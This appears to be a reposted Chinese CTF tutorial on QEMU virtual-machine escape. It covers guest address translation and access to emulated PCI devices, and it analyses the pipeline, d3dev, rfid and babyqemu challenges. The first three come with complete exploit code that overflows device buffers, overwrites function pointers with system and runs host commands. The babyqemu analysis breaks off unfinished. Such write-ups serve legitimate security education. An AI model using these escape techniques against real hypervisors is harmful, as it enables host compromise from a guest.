QEMU逃逸系列

IoT 2个月前 admin
128 0 0

QEMU逃逸系列

本文为看雪论坛精华文章

看雪论坛作者ID:e*16 a



一:基础知识介绍


1.什么是qemu逃逸


qemu用于模拟设备运行,而qemu逃逸漏洞多发于模拟pci设备中,漏洞形成一般是修改qemu-system代码,所以漏洞存在于qemu-system文件内。而逃逸就是指利用漏洞从qemu-system模拟的这个小系统逃到主机内,从而在linux主机内达到命令执行的目的。


2.qemu中的地址


因为使用qemu-system模式启动之后相当于在linux内又运行了一个小型linux,所以存在两个地址转换问题;从用户虚拟地址到用户物理地址,从用户物理地址到qemu虚拟地址。

用户的物理内存实际上是qemu程序mmap出来的,看下面的launsh脚本,-m 1G也就是mmap一块1G的内存。
#!/bin/bash./qemu-system-x86_64     -m 1G        -initrd ./rootfs.cpio     -nographic     -kernel ./vmlinuz-5.0.5-generic     -L pc-bios/     -append "priority=low console=ttyS0"     -monitor /dev/null     -device pipeline
这块内存可以在qemu进程的maps文件下查看,sudo cat /proc/pid/maps
QEMU逃逸系列
在64位系统内部,虚拟地址由页号和页内偏移组成,我们借用前人的代码来学习一下如何将虚拟地址转换成物理地址。

下面的程序申请了一个buffer,并写入字符串——“Where am I?”,之后打印他的物理地址。
#include <stdio.h>#include <string.h>#include <stdint.h>#include <stdlib.h>#include <fcntl.h>#include <assert.h>#include <inttypes.h> #define PAGE_SHIFT  12#define PAGE_SIZE   (1 << PAGE_SHIFT)#define PFN_PRESENT (1ull << 63)#define PFN_PFN     ((1ull << 55) - 1) int fd;// 获取页内偏移uint32_t page_offset(uint32_t addr){    // addr & 0xfff    return addr & ((1 << PAGE_SHIFT) - 1);} uint64_t gva_to_gfn(void *addr){    uint64_t pme, gfn;    size_t offset;     printf("pfn_item_offset : %pn", (uintptr_t)addr >> 9);    offset = ((uintptr_t)addr >> 9) & ~7;     ////下面是网上其他人的代码,只是为了理解上面的代码    //一开始除以 0x1000  (getpagesize=0x1000,4k对齐,而且本来低12位就是页内索引,需要去掉),即除以2**12, 这就获取了页号了,    //pagemap中一个地址64位,即8字节,也即sizeof(uint64_t),所以有了页号后,我们需要乘以8去找到对应的偏移从而获得对应的物理地址    //最终  vir/2^12 * 8 = (vir / 2^9) & ~7    //这跟上面的右移9正好对应,但是为什么要 & ~7 ,因为你  vir >> 12 << 3 , 跟vir >> 9 是有区别的,vir >> 12 << 3低3位肯定是0,所以通过& ~7将低3位置0    // int page_size=getpagesize();    // unsigned long vir_page_idx = vir/page_size;    // unsigned long pfn_item_offset = vir_page_idx*sizeof(uint64_t);     lseek(fd, offset, SEEK_SET);    read(fd, &pme, 8);    // 确保页面存在——page is present.    if (!(pme & PFN_PRESENT))        return -1;    // physical frame number    gfn = pme & PFN_PFN;    return gfn;} uint64_t gva_to_gpa(void *addr){    uint64_t gfn = gva_to_gfn(addr);    assert(gfn != -1);    return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr);} int main(){    uint8_t *ptr;    uint64_t ptr_mem;     fd = open("/proc/self/pagemap", O_RDONLY);    if (fd < 0) {        perror("open");        exit(1);    }     ptr = malloc(256);    strcpy(ptr, "Where am I?");    printf("%sn", ptr);    ptr_mem = gva_to_gpa(ptr);    printf("Your physical address is at 0x%"PRIx64"n", ptr_mem);     getchar();    return 0;}

将其打包放到qemu系统内,然后进入qemu内部运行该c文件。再用gdb attach到qemu进程,查看mmap的内存。
QEMU逃逸系列
找到qemu的基地址之后,用字符串的物理地址与基地址相加,即可得到虚拟地址。
QEMU逃逸系列


3.PCI设备


PCI 设备都有一个 PCI 配置空间来配置 PCI 设备,其中包含了关于 PCI 设备的特定信息。这些信息一般只需要关注Device ID和Vendor ID即可。
QEMU逃逸系列
QEMU逃逸系列
拥有了这些信息即可在qemu系统内部使用lspci命令来找到该设备,从而能够进行交互。交互问题我们后面再细说。


4.交互


通过kernel提供的sysfs,我们可以直接映射出设备对应的内存,具体方法是打开类似 /sys/devices/pci0000:00/0000:00:04.0/resource0 的文件,并用mmap将其映射到进程的地址空间,就可以对其进行读写了。这里的设备号0000:00:04.0是需要事先在/proc/iomem中看好的。当映射完成后,就可以对这块内存进行读写操作了,内存读写会触发到qemu内设备的mmio处理函数(一般会叫xxxx_mmio_read/xxxx_mmio_write),传入的参数是写入的地址偏移和具体的值。后面会放出一个exp模板。
int    mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);void * mmio = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);

也可以通过使用/dev/mem文件来映射物理内存。
void * mmio = mmap(0,0x1000,PROT_READ|PROT_WRITE,MAP_SHARED,open("/dev/mem",2),0xfea00000);


物理内存可由# cat /sys/devices/pci0000:00/0000:00:04.0/resource得到


(1)Memory Space类型(MMIO)


内存和 I/O 设备共享同一个地址空间。 MMIO 是应用得最为广泛的一种 I/O 方法,它使用相同的地址总线来处理内存和 I/O 设备,I/O 设备的内存和寄存器被映射到与之相关联的地址。当 CPU 访问某个内存地址时,它可能是物理内存,也可以是某个 I/O 设备的内存,用于访问内存的 CPU 指令也可来访问 I/O 设备。每个 I/O 设备监视 CPU 的地址总线,一旦 CPU 访问分配给它的地址,它就做出响应,将数据总线连接到需要访问的设备硬件寄存器。为了容纳 I/O 设备,CPU 必须预留给 I/O 一个地址区域,该地址区域不能给物理内存使用。


(2)I/O Space类型(PMIO)


在 PMIO 中,内存和 I/O 设备有各自的地址空间。 端口映射 I/O 通常使用一种特殊的 CPU 指令,专门执行 I/O 操作。在 Intel 的微处理器中,使用的指令是 IN 和 OUT。这些指令可以读/写 1,2,4 个字节(例如:outb, outw, outl)到 IO 设备上。I/O 设备有一个与内存不同的地址空间,为了实现地址空间的隔离,要么在 CPU 物理接口上增加一个 I/O 引脚,要么增加一条专用的 I/O 总线。由于 I/O 地址空间与内存地址空间是隔离的,所以有时将 PMIO 称为被隔离的 IO(Isolated I/O)。在linux中可以通过iopl和ioperm这两个系统调用对port的权能进行设置。


5.qemu中访问PCI设备的空间进行交互


(1)qemu中访问PCI设备的mmio空间


通过resource0来实现,需要根据需要来修改函数参数是uint64_t还是uint32_t亦或者是char。
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <assert.h> #include <sys/types.h>#include <sys/mman.h>#include <sys/io.h> char* mmio_mem; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));}int main(){    //init    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);  if (fd == -1)  {    perror("mmio_fd open failed");      exit(-1);  }    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);  if (mmio_mem == MAP_FAILED)    {      perror("mmap mmio_mem failed");            exit(-1);    }}


#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <assert.h> #include <sys/types.h>#include <sys/mman.h>#include <sys/io.h> char* mmio_mem; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));}int main(){    //init     mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,open("/dev/mem",2),0xfea00000); //0xfea00000是通过cat /sys/devices/pci0000:00/0000:00:04.0/resource来获得//0x00000000fea00000 0x00000000feafffff 0x0000000000040200   if (mmio_mem == MAP_FAILED)    {      perror("mmap mmio_mem failed");            exit(-1);    }}


(2)qemu中访问PCI设备的PMIO空间

#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <assert.h> #include <sys/types.h>#include <sys/mman.h>#include <sys/io.h> char* mmio_mem;int pmio_base = 0xc040;void pmio_write(uint32_t addr, uint32_t value){    outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){    return inl(pmio_base + addr);}int main(int argc, char *argv[]){     // Open and map I/O memory for the strng device    if (iopl(3) !=0 ){        perror("I/O permission is not enough");                exit(-1);                }}

mmap参数PROT_READ(1) | PROT_WRITE(2)可读写,MAP_SHARED共享的内存。


6.打包&调试


为了方便调试,我写了一个解压和压缩脚本,如下:
#!/bin/zshmkdir ./rootfscd ./rootfscpio -idmv < ../rootfs.cpio cp ../exp.c ./rootgcc -o ./root/exp -static ./root/exp.c find . | cpio -o --format=newc > ../rootfs.cpio cd ..rm -rf ./rootfs

该脚本的作用是将文件系统解压在新建的rootfs文件夹内,再将写好的exp.c放到解压的文件系统的root目录下,将其编译成可执行文件,再重打包回rootfs.cpio,最后删掉rootfs文件夹。

进行调试时,先进行打包操作,然后运行launch.sh文件,再起一个终端sudo gdb ./qemu-system-x86_64,使用attach附加到qemu-system进程之上。可以用ps -aux | grep qemu来获得进程号。

在gdb内下断点,就可以愉快的调试了。下面会有介绍。

在了解了以上的知识之后,就可以进行实操。



二:实例


1.pipeline


(1)逆向


先观察启动脚本launch.sh,先删掉timeout,否则超时就退出了。
#!/bin/bash./qemu-system-x86_64     -m 1G     -initrd ./rootfs.cpio     -nographic     -kernel ./vmlinuz-5.0.5-generic     -L pc-bios/     -append "priority=low console=ttyS0"     -monitor /dev/null     -device pipeline

由参数"-device pipeline"得我们所主要逆向的部分是在pipeline*,将qemu-system-x86_64放入ida,由于存在符号,所以直接在函数栏里搜pipeline。
QEMU逃逸系列
漏洞一般存在于pmio_read,pmio_write,mmio_read,mmio_write这些对内存进行读写操作的函数内。
QEMU逃逸系列
发现根本看不懂,都和opaque这个变量有关,这肯定是结构体,而结构体名字一般和函数名pipeline有相似,我们来转变一下,方法效果如下:
QEMU逃逸系列
QEMU逃逸系列
QEMU逃逸系列


① pipeline_mmio_read函数


发现一个很重要的结构体贯穿四个读写函数;
QEMU逃逸系列
逆向结果如下,总体就是从EncPipeLine或DecPipeLine内读取数据,没有越界读,最后return处有个"8",因为
EncPipeLine或DecPipeLine的data变量在偏移位4处,然后v4为结构体处-4。需要静心去逆。
QEMU逃逸系列


② pipeline_mmio_write函数


与pipeline_mmio_read函数大同小异,漏洞并不在这里,功能是将val写入EncPipeLine或DecPipeLine内。
QEMU逃逸系列


③ pipeline_pmio_read函数


addr为0返回idx,为4返回size。
QEMU逃逸系列


④ pipeline_pmio_write函数


猜测漏洞就在这里了,因为巨长。

addr为0返回idx,addr是4写入size。

addr为12时,看到了encode,在pipeline_instance_init函数中发现,好像是base64加密的实现。并且会将加密后的数据放入DecPipeLine结构体内,同理addr为16时,就是解密,会将解密后的数据放入EncPipeLine结构体的data变量内。

以上就是函数基本功能。
QEMU逃逸系列
QEMU逃逸系列


(2)调试&漏洞


因为qemu类型的题目大部分都是越界读写的问题,所以我们把注意力着重放在size上。我把注释写到下面的代码内。
void __cdecl pipeline_pmio_write(PipeLineState *opaque, hwaddr addr, uint64_t val, unsigned int size){  unsigned int sizea; // [rsp+4h] [rbp-4Ch]  unsigned int sizeb; // [rsp+4h] [rbp-4Ch]  int pIdx; // [rsp+28h] [rbp-28h]  int pIdxa; // [rsp+28h] [rbp-28h]  int pIdxb; // [rsp+28h] [rbp-28h]  int useSize; // [rsp+2Ch] [rbp-24h]  int ret_s; // [rsp+34h] [rbp-1Ch]  int ret_sa; // [rsp+34h] [rbp-1Ch]  char *iData; // [rsp+40h] [rbp-10h]   if ( size == 4 )  {    if ( addr == 4 )                            // addr = 4    {      pIdx = opaque->pIdx;      if ( pIdx <= 7 )      {        if ( pIdx > 3 )        {          if ( val <= 0x40 )            *&opaque->encPipe[1].data[0x44 * pIdx + 12] = val;        }        else if ( val <= 0x5C )        {          opaque->encPipe[pIdx].size = val;        }      }    }    else if ( addr > 4 )    {      if ( addr == 12 )                         // addr = 12      {        pIdxa = opaque->pIdx;        if ( pIdxa <= 7 )        {          if ( pIdxa <= 3 )            pIdxa += 4;   //放入解密结构体内          sizea = *&opaque->encPipe[1].data[0x44 * pIdxa + 12]; //          if ( sizea <= 0x40 && (4 * ((sizea + 2) / 3) + 1) <= 0x5C ) //对size进行判断,不存在溢出          {            ret_s = opaque->encode(             // encode                      &opaque->encPipe[1].data[0x44 * pIdxa + 16],// 加密                      &opaque->mmio.size + 0x60 * pIdxa + 8,                      sizea);            if ( ret_s != -1 )              *(&opaque->mmio.size + 24 * pIdxa + 1) = ret_s;          }        }      }      else if ( addr == 16 )      {        pIdxb = opaque->pIdx;        if ( pIdxb <= 7 )        {          if ( pIdxb > 3 )            pIdxb -= 4;          sizeb = opaque->encPipe[pIdxb].size;          iData = opaque->encPipe[pIdxb].data;          if ( sizeb <= 0x5C )          {            if ( sizeb )              iData[sizeb] = 0;            useSize = opaque->strlen(iData);            if ( 3 * (useSize / 4) + 1 <= 64 )  // 84,85,86,87            {   //可以看到decode的size参数是与strlen(iData)有关,即使上面的if判断限制了useSize,也可以使useSize是84-87四个数字。              ret_sa = opaque->decode(iData, opaque->decPipe[pIdxb].data, useSize);// 解密              if ( ret_sa != -1 )                opaque->decPipe[pIdxb].size = ret_sa;            }          }        }      }    }    else if ( !addr )    {      opaque->pIdx = val;    }  }}

使用0xff进行base64编码作为测试数据,这样在解码后得到的溢出字符为0xff,如果后续溢出size,0xff为最大值:
>>> from pwn import *>>> b64e(b'xffxffxff')'////'

下面测试漏洞会不会覆盖掉size位。
#include <stdint.h>#include <string.h>#include <fcntl.h>#include <sys/mman.h>#include <sys/io.h> void * mmio;int port_base = 0xc040; void pmio_write(int port, int val){ outl(val, port_base + port); }void mmio_write(uint64_t addr, char value){ *(char *)(mmio + addr) = value;}int  pmio_read(int port) { return inl(port_base + port); }char mmio_read(uint64_t addr){ return *(char *)(mmio + addr); } void write_io(int idx,int size,int offset, char * data){    pmio_write(0,idx); pmio_write(4,size);    for(int i=0;i<strlen(data);i++) { mmio_write(i+offset,data[i]); }} int main(){    // init mmio and pmio    iopl(3);    int  mmio_fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);    mmio         = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);     // write '/'*87 to block 2    char data[100];    memset(data,0,100);    memset(data,'/',87);    write_io(2,0x5c,0,data);     // decode时将在encPipe[2]的数据解密后放到decPipe[2],若能溢出,则decPipe[3]的size位为0xff    pmio_write(16,0);     return 0;}
看效果

gdb attach之后,将断点下到pipeline_mmio_write,就可以愉快的c了。

执行pmio_write(16,0)之前:
QEMU逃逸系列
执行pmio_write(16,0)之后,看到decPipe[3]的size被修改为了0xff,溢出达到,可以进行越界读写。
QEMU逃逸系列


(3)利用


既然已经完成了size位的劫持,再通过mmio_read泄露encode函数地址,修改encode指针为system,再pima_write(12,0)即可命令执行。
#include <stdio.h>#include <unistd.h>#include <stdlib.h>#include <stdint.h>#include <string.h>#include <errno.h>#include <signal.h>#include <fcntl.h>#include <ctype.h>#include <termios.h>#include <assert.h> #include <sys/types.h>#include <sys/mman.h>#include <sys/io.h> char* mmio_mem;int pmio_base = 0xc040; void mmio_write(uint64_t addr, char value) {    *(char*)(mmio_mem + addr) = value;} uint64_t mmio_read(uint64_t addr) {    return *((char *)(mmio_mem + addr));} void pmio_write(uint32_t addr, uint32_t value){    outl(value, pmio_base + addr);} uint64_t pmio_read(uint32_t addr){    return inl(pmio_base + addr);} uint64_t write_io(int idx,int size,int addr,char* data){    pmio_write(0,idx); //get idx   rsi,rdx    pmio_write(4,size); // set size    rsi,rdx    for(int i=0;i<strlen(data);i++)    {        mmio_write(addr+i,data[i]);    }} uint64_t read_io(int idx,int size,int addr,char* data){    pmio_write(0,idx);    for(int i=0;i<size;i++)    {        data[i] = mmio_read(addr+i);    }} int main(){    //init    int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0",O_RDWR | O_SYNC);    mmio_mem = mmap(0,0x1000,PROT_READ | PROT_WRITE, MAP_SHARED,fd,0);    iopl(3);     //char dedata[] = "ZWVlZQ==";//"eHVhbnh1YW4=";    //char data[100] = {0};    //write_io(2,0x5c,0,dedata); //idx,size,addr,data    //pmio_write(16,0); //    //read_io(6,4,0,data);    //printf("[+] %sn",data);    char data[100] = {0};    memset(data,0,100);    memset(data,'/',87);    write_io(2,0x5c,0,data); /////////////////////    pmio_write(16,0); //decode   //////////////////    char leak[16];    read_io(7,8,0x44,leak); /////////////    printf("[+] leak:0x%sn",leak);    //printf("[+] leak:0x%llxn", leak);    long long base = *((long long *)leak) - 0x3404F3; //- 0x3401BB;    long long system = base + 0x2C0AD0;    printf("[+] base:0x%llxn",base);    printf("[+] system:0x%llxn",system);     write_io(7,0x5c,0x44,&system); //////////////    char command[] = "cat flag";    write_io(4,0x3f,0,command);    pmio_write(12,0);    return 0;}

效果如下:
QEMU逃逸系列


2.2021D3CTF d3dev


这题是D3CTF-2021,需要使用ubuntu20的环境进行操作,ubuntu18循环报错,ubuntu22没试过。第一题叙述较为详细,后面例题我便只分析漏洞处和整体代码。

该题目也是有mmio和pmio两种访存方式,可以套用上面的exp模板,然后分析代码。


(1)逆向


① d3dev_mmio_read函数


直接开幕雷击,看到了一堆什么异或之类的,问了下re师傅,是tea加密解密。一开始我是不知道这里是有越界读的,后面会分析道,那些异或是tea decode,我们获得的数据会经过decode,若我们想得到原始值,需要对其进行encode。
QEMU逃逸系列


② d3dev_mmio_write函数


和read函数类似,若mmio_write_part为1,则对数据进行加密,若为0,则进行写入。


③ d3dev_pmio_read函数


很简单,获得opaque结构体的数据。
QEMU逃逸系列


④ d3dev_pmio_write函数


addr为8时,对seek进行赋值;
addr为0x1c时,执行函数;
addr为4时,将key[]清0;
addr为0时,设置memory_mode。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t *key; // rbp   if ( addr == 8 )  {    if ( val <= 0x100 )      opaque->seek = val;  }  else if ( addr > 8 )  {    if ( addr == 0x1C )    {      opaque->r_seed = val;      key = opaque->key;      do        *key++ = (opaque->rand_r)(&opaque->r_seed, 0x1CLL, val, *&size);      while ( key != &opaque->rand_r );    }  }  else if ( addr )  {    if ( addr == 4 )    {      *opaque->key = 0LL;      *&opaque->key[2] = 0LL;    }  }  else  {    opaque->memory_mode = val;  }}


(2)漏洞


由d3dev_pmio_write函数得知可为opaque->seek赋值为0x100,blocks有0x800字节,d3dev_mmio_read内的data = opaque->blocks[opaque->seek + (addr >> 3)],此处的blocks是通过index的方式进行访存,而blocks又是dq的数据(8 bytes),所以seek的0x100可以访问到的内存就是0-0x800,而通过addr进行越界读。

d3dev_mmio_write也是如此,可以越界写,我们就有了任意读写d3devState这个结构体附近的内存的"权利"。

在pmio_write里有执行system的机会,将opaque->rand_r覆盖为system,opaque->r_seed覆盖为"/bin/sh"。


(3)利用

#include <stdint.h>#include <fcntl.h>#include <sys/mman.h>#include <sys/io.h>#include <stdio.h>#include <unistd.h> unsigned char* mmio_mem;void setup_mmio() {    int mmio_fd = open("/sys/devices/pci0000:00/0000:00:03.0/resource0", O_RDWR | O_SYNC);    mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0);} void mmio_write(uint32_t addr,uint32_t val){    *((uint32_t*)(addr+mmio_mem)) = val;} uint64_t mmio_read(uint64_t addr){    return *((uint64_t*)(addr+mmio_mem));} uint32_t pmio_base = 0xc040;void setup_pmio() {    iopl(3);  // 0x3ff 以上端口全部开启访问} uint64_t pmio_read(uint64_t addr){    return (uint64_t)inl(pmio_base + addr);} uint64_t pmio_write(uint64_t addr,uint64_t val){    outl(val,addr+pmio_base);}  //因为key=0,所以直接省略掉key进行写加密解密函数。注意exp内的en实际对应的是deuint64_t en(uint32_t high,uint32_t low){    uint32_t sum = 0xC6EF3720;    uint32_t delta = 0x9E3779b9;    for(int i=0;i<32;i++){        high -= (low*16) ^ (low+sum) ^ (low>>5);        low -= (high*16) ^ (high+sum) ^ (high>>5);        //sum -= delta;        sum += 0x61C88647;    }    return (uint64_t)high * 0x100000000 + low;} uint64_t de(uint32_t high,uint32_t low){    uint32_t sum=0;    uint32_t delta = 0x9E3779b9;    for(int i=0;i<32;i++){        //sum += delta;        sum -= 0x61C88647;        low += (high*16) ^ (high+sum) ^ (high>>5);        high += (low*16) ^ (low+sum) ^ (low>>5);    }    return (uint64_t)high * 0x100000000 + low;} int main(){    printf("begin!!!!!n");    setup_mmio();    setup_pmio();    pmio_write(8,0x100); //opaque->seek=0x100    pmio_write(4,0); //key[0-3]=0    //0x103    uint64_t rand_r = mmio_read(24); //decode    printf("region rand_r:0x%lxn",rand_r);    uint64_t randr = de(rand_r/0x100000000,rand_r%0x100000000);    printf("encode randr:0x%lxn",randr);    uint64_t system = randr + 0xa560;    printf("system:0x%lxn", system);    uint64_t encode_system = en(system / 0x100000000, system % 0x100000000);    printf("encode system:0x%lxn", encode_system);     uint32_t low_sys = encode_system%0x100000000;    uint32_t high_sys = encode_system/0x100000000;    mmio_write(24,low_sys); //只能4字节4字节的写入    sleep(1);    mmio_write(24,high_sys);     pmio_write(8,0);    mmio_write(0,0x67616c66); //blocks: flag    pmio_write(0x1c,0x20746163); //r_seed: cat     return 0;}


3.2019数字经济众测qemu


(1)题目分析


首先查看launch.sh脚本。
#! /bin/zsh./qemu-system-x86_64 -initrd ./initramfs.cpio -kernel ./vmlinuz-4.8.0-52-generic -append 'console=ttyS0 root=/dev/ram oops=panic panic=1' -monitor /dev/null -m 64M --nographic -L pc-bios -device rfid,id=vda 

设备是rfid,去ida内函数栏搜索rfid,并没有找到,是去掉符号表。

这题没有符号表,所以不能在函数栏内搜索,换一个思路去搜索字符串rfid来寻找相应函数。
QEMU逃逸系列
下面的便是rfid_class_init。
QEMU逃逸系列
想要找到mmio或者pmio对应的write/read函数,需要定位到 xxxxxxx_realize函数,例如d3dev这题,定位到了pci_d3dev_realize函数,发现&d3dev_mmio_ops和&d3dev_pmio_ops,跟进去发现有实现方法。而pci_d3dev_realize在d3dev_class_init内引用。
QEMU逃逸系列
QEMU逃逸系列
QEMU逃逸系列
由以上分析可得,sub_5713A8函数内的sub_571043为realize函数。
QEMU逃逸系列
点进去off_FE9720,发现了mmio的实现。
QEMU逃逸系列


(2)逆向


① sub_570C63


比对字符串,然后执行命令,漏洞肯定在另一个函数内了,看到这里应该就有了具体思路,劫持byte_122FFE0为"wwssadadBABA",复写command变量即可。
QEMU逃逸系列


② sub_570CEB


write函数相当于一个菜单,以((addr >> 20) & 0xF)作为菜单选项,将字符传递于byte_122FFE0,当result为6时,将val赋值给command.由于存在移位等问题,exp的mmio_write/mmio_read函数的实现需要变化一下。
_BYTE *__fastcall sub_570CEB(__int64 opaque, unsigned __int64 addr, __int64 val, unsigned int size){  _BYTE *result; // rax  _DWORD n[3]; // [rsp+4h] [rbp-3Ch] BYREF  unsigned __int64 v6; // [rsp+10h] [rbp-30h]  __int64 v7; // [rsp+18h] [rbp-28h]  int v8; // [rsp+2Ch] [rbp-14h]  int idx; // [rsp+30h] [rbp-10h]  int v10; // [rsp+34h] [rbp-Ch]  __int64 v11; // [rsp+38h] [rbp-8h]   v7 = opaque;  v6 = addr;  *&n[1] = val;  v11 = opaque;  v8 = (addr >> 20) & 0xF;  idx = (addr >> 16) & 0xF;  result = ((addr >> 20) & 0xF);  switch ( result )  {    case 0uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'w';      break;    case 1uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 's';      break;    case 2uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'a';      break;    case 3uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'd';      break;    case 4uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'A';      break;    case 5uLL:      result = byte_122FFE0;      byte_122FFE0[idx] = 'B';      break;    case 6uLL:      v10 = v6;      result = memcpy(&command[v6], &n[1], size);      break;    default:      return result;  }  return result;}


(3)调试


本题没有符号表,为调试增加了比较大的困难,但是由于题目比较简单,不调试也可以做出来,为了进行学习,我来尝试一下调试。应该就和普通的pwn题一样调试,用b *$rebase(addr)下断点。

测试环境ubuntu20可以,ubnutu18不行。
QEMU逃逸系列
下好了断点,c执行,然后运行exp,便可以愉快的观察程序运行。
QEMU逃逸系列
QEMU逃逸系列


(4)利用

#include <sys/io.h>#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/mman.h>#include <assert.h>#include <fcntl.h>#include <inttypes.h>#include <sys/types.h> unsigned char* mmiobase;//wwssadadBABAvoid mmio_write(uint64_t addr,uint64_t val){      *(uint64_t *)(mmiobase + addr) = val;} int main(){ mmiobase = mmap(0,0x1000000,PROT_READ | PROT_WRITE, MAP_SHARED, open("/dev/mem",2),0xfb000000);                                                   //str    idx  mmio_write(0x000000,0);  //w   ,   0  mmio_write(0x010000,0);     //w   ,   1    mmio_write(0x120000,0);  //s   ,   2  mmio_write(0x130000,0);  //s   ,   3  mmio_write(0x240000,0);  //a   ,   4  mmio_write(0x350000,0);  //d   ,   5  mmio_write(0x260000,0);  //a   ,   6  mmio_write(0x370000,0);  //d   ,   7  mmio_write(0x580000,0);  //B   ,   8  mmio_write(0x490000,0);  //A   ,   9  mmio_write(0x5a0000,0);  //B   ,   a  mmio_write(0x4b0000,0);  //A   ,   b    char cmd[0x20] = "cat flag";  mmio_write(0x600000,*(uint64_t *)(&cmd[0]));  return *(int *)mmiobase;}

效果如图:
QEMU逃逸系列


4.2017HITB babyqemu


(1)题目分析


直接扔ida,有符号✌️,搜索一下只发现了mmio_read/mmio_write,然后恢复一下结构体;
QEMU逃逸系列
查看一下主要操作的结构体:
QEMU逃逸系列


(2)逆向


① hitb_mmio_read函数


返回各个结构体内的数据,不存在漏洞。
uint64_t __fastcall hitb_mmio_read(HitbState *opaque, hwaddr addr, unsigned int size){  uint64_t result; // rax  uint64_t val; // [rsp+0h] [rbp-20h]   result = -1LL;  if ( size == 4 )  {    if ( addr == 128 )      return opaque->dma.src;    if ( addr > 128 )    {      if ( addr == 140 )        return *(&opaque->dma.dst + 4);      if ( addr <= 140 )      {        if ( addr == 132 )          return *(&opaque->dma.src + 4);        if ( addr == 136 )          return opaque->dma.dst;      }      else      {        if ( addr == 144 )          return opaque->dma.cnt;        if ( addr == 152 )          return opaque->dma.cmd;      }    }    else    {      if ( addr == 8 )      {        qemu_mutex_lock(&opaque->thr_mutex);        val = opaque->fact;        qemu_mutex_unlock(&opaque->thr_mutex);        return val;      }      if ( addr <= 8 )      {        result = 0x10000EDLL;        if ( !addr )          return result;        if ( addr == 4 )          return opaque->addr4;      }      else      {        if ( addr == 0x20 )          return opaque->status;        if ( addr == 0x24 )          return opaque->irq_status;      }    }    return -1LL;  }  return result;}


② hitb_mmio_write函数


正常对HitbState字段写入,但是有一个函数调用很可疑timer_mod(&opaque->dma_timer, ns / 1000000 + 100);
void __fastcall hitb_mmio_write(HitbState *opaque, hwaddr addr, uint64_t val, unsigned int size){  uint32_t v4; // r13d  int v5; // edx  bool v6; // zf  int64_t ns; // rax   if ( (addr > 0x7F || size == 4) && (((size - 4) & 0xFFFFFFFB) == 0 || addr <= 0x7F) )  {    if ( addr == 128 )    {      if ( (opaque->dma.cmd & 1) == 0 )        opaque->dma.src = val;    }    else    {      v4 = val;      if ( addr > 128 )      {        if ( addr == 140 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.dst + 4) = val;        }        else if ( addr > 140 )        {          if ( addr == 144 )          {            if ( (opaque->dma.cmd & 1) == 0 )              opaque->dma.cnt = val;          }          else if ( addr == 152 && (val & 1) != 0 && (opaque->dma.cmd & 1) == 0 )          {            opaque->dma.cmd = val;            ns = qemu_clock_get_ns(QEMU_CLOCK_VIRTUAL_0);            timer_mod(&opaque->dma_timer, ns / 1000000 + 100);          }        }        else if ( addr == 132 )        {          if ( (opaque->dma.cmd & 1) == 0 )            *(&opaque->dma.src + 4) = val;        }        else if ( addr == 136 && (opaque->dma.cmd & 1) == 0 )        {          opaque->dma.dst = val;        }      }      else if ( addr == 32 )      {        if ( (val & 0x80) != 0 )          _InterlockedOr(&opaque->status, 0x80u);        else          _InterlockedAnd(&opaque->status, 0xFFFFFF7F);      }      else if ( addr > 0x20 )      {        if ( addr == 96 )        {          v6 = (val | opaque->irq_status) == 0;          opaque->irq_status |= val;          if ( !v6 )            hitb_raise_irq(opaque, 0x60u);        }        else if ( addr == 100 )        {          v5 = ~val;          v6 = (v5 & opaque->irq_status) == 0;          opaque->irq_status &= v5;          if ( v6 && !msi_enabled(&opaque->pdev) )            pci_set_irq(&opaque->pdev, 0);        }      }      else if ( addr == 4 )      {        opaque->addr4 = ~val;      }      else if ( addr == 8 && (opaque->status & 1) == 0 )      {        qemu_mutex_lock(&opaque->thr_mutex);        opaque->fact = v4;        _InterlockedOr(&opaque->status, 1u);        qemu_cond_signal(&opaque->thr_cond);        qemu_mutex_unlock(&opaque->thr_mutex);      }    }  }}


③ hitb_dma_timer函数


在hitb_mmio_write内调用了timer_mod,qemu_clock_get_ns获取时钟的纳秒值,timer_mod修改dma_timer的expire_time,这样应该可以触发hitb_dma_timer的调用。

函数根据cmd来选择不同分支,cmd最低位必须为1;

当dma.cmd为2|1时,会将dma.src减0x40000作为索引i,然后将数据从dma_buf[i]拷贝利用函数cpu_physical_memory_rw拷贝至物理地址dma.dst中,拷贝长度为dma.cnt。

